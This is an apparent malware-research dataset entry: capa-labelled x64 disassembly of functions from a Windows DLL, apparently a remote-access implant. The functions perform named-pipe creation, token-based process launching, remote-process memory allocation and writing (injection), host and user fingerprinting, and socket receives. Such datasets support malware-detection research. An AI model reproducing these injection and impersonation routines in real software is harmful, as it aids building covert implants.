joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180012cd4
Capabilities:
Create pipe

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x148
cmp dword [rsp + 0x168], 0x100
jl 0x180012cf8
jmp 0x180012da8
movsxd rax, dword [rsp + 0x168]
lea rcx, [rsp + 0x40]
mov rdi, rcx
mov rsi, qword [rsp + 0x160]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x168]
mov byte [rsp + rax + 0x40], 0
mov qword [0x180052358], 0xffffffffffffffff
mov qword [0x180052350], 0xffffffffffffffff
mov qword [0x180052360], 0xffffffffffffffff
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 2
mov r8d, 4
mov edx, 3
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x180052350], rax
cmp qword [0x180052350], 0
jne 0x180012d93
jmp 0x180012da8
xor edx, edx
lea rcx, [0x180012e98]
call fcn.18002249c
mov qword [0x180052360], rax
add rsp, 0x148
pop rdi
pop rsi
ret

Function at 0x180013624
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [0x180059800], 0
je 0x18001370c
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x24], 0
jne 0x18001370c
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
xor edx, edx
mov rcx, qword [0x180059800]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x1800136bf
mov eax, 1
jmp 0x18001378e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x1800136e5
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], 0
je 0x1800136e5
mov rcx, qword [rsp + 0x70]
call fcn.180013b6c
jmp 0x18001378e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, 0x29
call fcn.180010ff8
xor eax, eax
jmp 0x18001378e
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180013789
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, gethostbyname
call fcn.180010ff8
xor eax, eax
jmp 0x18001378e
mov eax, 1
add rsp, 0x68
ret
Function at 0x180013b6c
Capabilities:
Create process on windows
Create process suspended
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x1060
call fcn.1800238b0
sub rsp, rax
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
lea rax, [rsp + 0x860]
mov rdi, rax
xor eax, eax
mov ecx, 0x800
rep stosb byte [rdi], al
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x10]
mov qword [rax + 0x10], 0
mov r8d, 0x400
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x1070]
mov rcx, qword [rax]
call fcn.180012a94
test eax, eax
jne 0x180013bfc
mov rax, qword [rsp + 0x1070]
mov edx, dword [rax + 8]
mov ecx, 7
call fcn.180010e8c
xor eax, eax
jmp 0x180013d4f
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0x400
jae 0x180013c38
lea rdx, [rsp + 0x860]
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rax, [rsp + 0x860]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x1070]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x60]
xor r8d, r8d
mov edx, 2
mov rcx, qword [0x180059800]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
je 0x180013ca9
mov eax, 1
jmp 0x180013d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x180013ce4
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW], 0
je 0x180013ce4
cmp dword [0x180059828], 1
jne 0x180013ce4
mov r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x1070]
call fcn.180013ab8
jmp 0x180013d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x180013d2f
mov rax, qword [rsp + 0x1070]
mov rax, qword [rax + 0x10]
mov eax, dword [rax]
cmp rax, 0x70
jne 0x180013d2f
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW], 0
je 0x180013d2f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x1070]
mov rdx, qword [rax]
mov ecx, 0x4a
call fcn.180010ff8
xor eax, eax
jmp 0x180013d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x1070]
mov rdx, qword [rax]
mov ecx, 0x29
call fcn.180010ff8
xor eax, eax
add rsp, 0x1060
pop rdi
ret
Function at 0x180014454
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
cmp qword [0x1800542d8], 0
jne 0x180014492
mov ecx, 0x80004
call fcn.1800278a4
mov qword [0x1800542d8], rax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax]
call sub.WS2_32.dll_htonl
mov dword [rsp + 0x24], eax
mov rax, qword [0x1800542d8]
mov ecx, dword [rsp + 0x24]
mov dword [rax], ecx
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x50]
cmp dword [rax + 4], ecx
jbe 0x1800144c7
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
jmp 0x1800144d3
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x180014558
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x28]
mov rdx, qword [0x1800542d8]
lea rcx, [rdx + rcx + 4]
mov rdx, qword [rsp + 0x40]
mov r9, qword [rdx + 8]
mov r8d, eax
mov edx, 1
call fcn.18002b104
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x18001451d
mov rax, qword [rsp + 0x40]
mov dword [rax + 4], 0
jmp 0x180014558
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x24]
mov eax, dword [rax + 4]
sub eax, ecx
mov rcx, qword [rsp + 0x40]
mov dword [rcx + 4], eax
jmp 0x1800144d3
mov eax, dword [rsp + 0x28]
add eax, 4
mov r8d, 8
mov edx, eax
mov rcx, qword [0x1800542d8]
call qword [rsp + 0x48]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call fcn.180014404
add rsp, 0x38
ret

Function at 0x180014588
Capabilities:
Copy file

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x4000
call fcn.180019ab4
mov qword [rsp + 0x20], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.180019d08
mov qword [rsp + 0x30], rax
mov edx, 0x2000
mov rcx, qword [rsp + 0x20]
call fcn.180019d08
mov qword [rsp + 0x28], rax
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180019c54
mov r8d, 0x2000
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.180019e30
mov r8d, 0x2000
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x38]
call fcn.180019e30
xor r8d, r8d
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x180014633
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_listen
call fcn.180010e8c
mov rcx, qword [rsp + 0x20]
call fcn.180019c24
add rsp, 0x58
ret
Function at 0x18001590c
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x118
mov ecx, dword [rsp + 0x180]
call fcn.180022c64
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x80], WSAGetLastError
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x68], 0x18
mov dword [rsp + 0x78], 1
mov r9d, 0x100000
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rsp + 0xbc], 0x101
xor eax, eax
mov word [rsp + 0xc0], ax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], 0
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x80]
mov edx, dword [rsp + 0x180]
mov ecx, dword [rsp + 0x178]
call fcn.1800217e4
test eax, eax
jne 0x180015a15
mov ecx, dword [rsp + 0x180]
call fcn.180022ca0
jmp 0x180015aca
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x38], eax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x148]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.18001627c
cmp dword [rsp + 0x138], 0
jbe 0x180015a85
mov edx, dword [rsp + 0x138]
mov rcx, qword [rsp + 0x48]
call fcn.180017b94
lea rax, [rsp + 0xf0]
lea rcx, [rsp + 0x50]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov r9, qword [rsp + 0x168]
mov r8, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea rcx, [rsp + 0xf0]
call fcn.180017c10
mov ecx, dword [rsp + 0x180]
call fcn.180022ca0
add rsp, 0x118
pop rdi
pop rsi
ret
Function at 0x180016650
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
lea rax, [fcn.180016650]
lea rcx, [0x1800165d0]
sub rax, rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x48], 0
mov eax, dword [rsp + 0x30]
add rax, 0x20
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x30]
add rax, 0x20
mov rcx, rax
call fcn.1800278a4
mov qword [rsp + 0x38], rax
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x80]
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
add rcx, 0x20
lea rdx, [0x1800165d0]
mov rdi, rcx
mov rsi, rdx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x180016742
mov eax, dword [rsp + 0x34]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180016742
mov eax, dword [rsp + 0x34]
cmp qword [rsp + 0x48], rax
je 0x180016742
mov qword [rsp + 0x40], 0
mov rcx, qword [rsp + 0x38]
call fcn.180027890
mov rax, qword [rsp + 0x40]
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x180017048
Capabilities:
Allocate or change rwx memory

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x30], 0
mov ecx, 0x2d
call fcn.1800212b8
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x78], eax
jbe 0x180017087
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x34], eax
mov ecx, 0x2b
call fcn.180021380
movzx eax, ax
mov ecx, dword [rsp + 0x34]
mov dword [rsp + 0x20], eax
mov r9d, 0x3000
mov r8d, ecx
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1800170dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, dword [rsp + 0x34]
mov ecx, 0x1f
call fcn.180010eb0
xor eax, eax
jmp 0x180017225
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x30], eax
jge 0x18001719a
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x78]
sub ecx, eax
mov eax, ecx
cdqe
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x70]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0x30]
mov r8, qword [rsp + 0x48]
add r8, rdx
mov rdx, r8
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], r8
mov r9, rax
mov r8, rcx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180017164
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_recv
call fcn.180010e8c
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x180017225
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x38], 0
jne 0x180017195
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x180017225
jmp 0x1800170dd
mov ecx, 0x2b
call fcn.180021380
movzx eax, ax
mov dword [rsp + 0x3c], eax
mov ecx, 0x2c
call fcn.180021380
movzx eax, ax
mov ecx, dword [rsp + 0x3c]
cmp ecx, eax
jne 0x1800171c2
jmp 0x180017220
mov ecx, 0x2c
call fcn.180021380
movzx eax, ax
mov ecx, dword [rsp + 0x34]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, eax
mov r8d, ecx
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x180017220
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, send
call fcn.180010e8c
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x180017225
mov rax, qword [rsp + 0x48]
add rsp, 0x58
ret
Function at 0x180019830
Capabilities:
Get hostname
Get session user name

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov ecx, 0x494
call fcn.180019ab4
mov qword [rsp + 0x48], rax
mov edx, __WSAFDIsSet
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x40], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x60], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x78], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x70], rax
mov edx, 0x100
mov rcx, qword [rsp + 0x48]
call fcn.180019d08
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x100
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x30], 0x100
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x30], 0x100
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.180011c14
mov dword [rsp + 0x58], eax
mov r8d, 0x100
mov rdx, qword [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180019945
mov edx, 0x5c
mov rcx, qword [rsp + 0x68]
call fcn.180024638
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
je 0x180019945
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x180019959
lea rax, [0x1800557b0]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x40]
mov dword [rax], __WSAFDIsSet
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 4]
mov dword [0x18005da70], eax
mov rax, qword [rsp + 0x40]
mov dl, byte [rax + 4]
mov rcx, qword [rsp + 0xa0]
call fcn.180010944
mov rax, qword [rsp + 0x40]
mov dl, byte [rax + 8]
mov rcx, qword [rsp + 0xa0]
call fcn.180010944
mov rax, qword [rsp + 0x40]
movzx edx, word [rax + 0xc]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a38
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
sar rax, 0x20
mov ecx, 0xffffffff
and rax, rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov edx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov edx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov edx, dword [rsp + 0x58]
mov rcx, qword [rsp + 0xa0]
call fcn.180010a04
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x78]
lea r8, str.FUCK_t_s_t_s_t_s
mov edx, 0x100
mov rcx, qword [rsp + 0x60]
call fcn.18000f304
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x50], 0xffffffffffffffff
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x50]
cmp byte [rax + rcx], 0
jne 0x180019a5b
mov rax, qword [rsp + 0x50]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0x3a
jle 0x180019a8b
mov dword [rsp + 0x34], 0x3a
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xa0]
call fcn.18001096c
mov rcx, qword [rsp + 0x48]
call fcn.180019c24
add rsp, 0x98
ret
Function at 0x18001af3c
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x2c], 0
mov rax, qword [0x1800557b8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
cmp qword [0x1800557c0], 0
jne 0x18001af94
mov ecx, 0x100000
call fcn.1800278a4
mov qword [0x1800557c0], rax
cmp qword [rsp + 0x38], 0
je 0x18001b0cf
mov rax, qword [rsp + 0x38]
cmp dword [rax + 4], 1
je 0x18001afbb
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x38], rax
jmp 0x18001af94
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rsp + 0x2c], eax
mov rax, qword [0x1800557c0]
mov ecx, dword [rsp + 0x2c]
mov dword [rax], ecx
lea r8, [rsp + 0x20]
mov edx, 0x4004667f
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_ioctlsocket]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x20], 0xffffc
jbe 0x18001b008
mov dword [rsp + 0x20], 0xffffc
cmp dword [rsp + 0x30], 0xffffffff
jne 0x18001b036
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 0
mov r8d, 4
mov edx, 4
mov rcx, qword [0x1800557c0]
call qword [rsp + 0x50]
jmp 0x18001b0bc
cmp dword [rsp + 0x20], 0
jbe 0x18001b0bc
mov rax, qword [0x1800557c0]
add rax, 4
mov r8d, dword [rsp + 0x20]
mov rdx, rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax + 0x20]
call fcn.18001b250
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
jne 0x18001b08d
mov rax, qword [rsp + 0x38]
mov dword [rax + 4], 0
mov r8d, 4
mov edx, 4
mov rcx, qword [0x1800557c0]
call qword [rsp + 0x50]
jmp 0x18001b0bc
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x24], eax
jne 0x18001b0bc
mov eax, dword [rsp + 0x20]
add rax, 4
mov r8d, 5
mov edx, eax
mov rcx, qword [0x1800557c0]
call qword [rsp + 0x50]
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x38], rax
jmp 0x18001af94
mov eax, dword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x18001b0d8
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [0x1800557b8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
cmp qword [rsp + 0x28], 0
je 0x18001b24b
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0
jne 0x18001b153
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0xc], 0
jne 0x18001b153
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rsp + 0x28]
mov dword [rcx + 0xc], eax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b246
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0
jne 0x18001b22e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov rcx, qword [rsp + 0x28]
sub eax, dword [rcx + 0xc]
cmp eax, 0x3e8
jbe 0x18001b22e
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 0
jne 0x18001b19a
mov edx, 2
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_shutdown]
mov rax, qword [rsp + 0x28]
mov rcx, qword [rax + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
je 0x18001b1d5
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 2
jne 0x18001b1d5
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b106
cmp qword [rsp + 0x30], 0
jne 0x18001b202
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [0x1800557b8], rax
mov rcx, qword [rsp + 0x28]
call fcn.180027890
mov qword [rsp + 0x28], 0
jmp 0x18001b22c
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x28]
mov qword [rax + 0x28], rcx
mov rcx, qword [rsp + 0x28]
call fcn.180027890
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b246
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x28], rax
jmp 0x18001b106
add rsp, 0x48
ret

Function at 0x18001b250
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x24], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x20], eax
jge 0x18001b2fd
mov eax, dword [rsp + 0x20]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x24]
mov ecx, dword [rsp + 0x20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x24], 0xffffffff
jne 0x18001b2fb
mov edx, 2
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 0xffffffff
jmp 0x18001b301
jmp 0x18001b27d
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret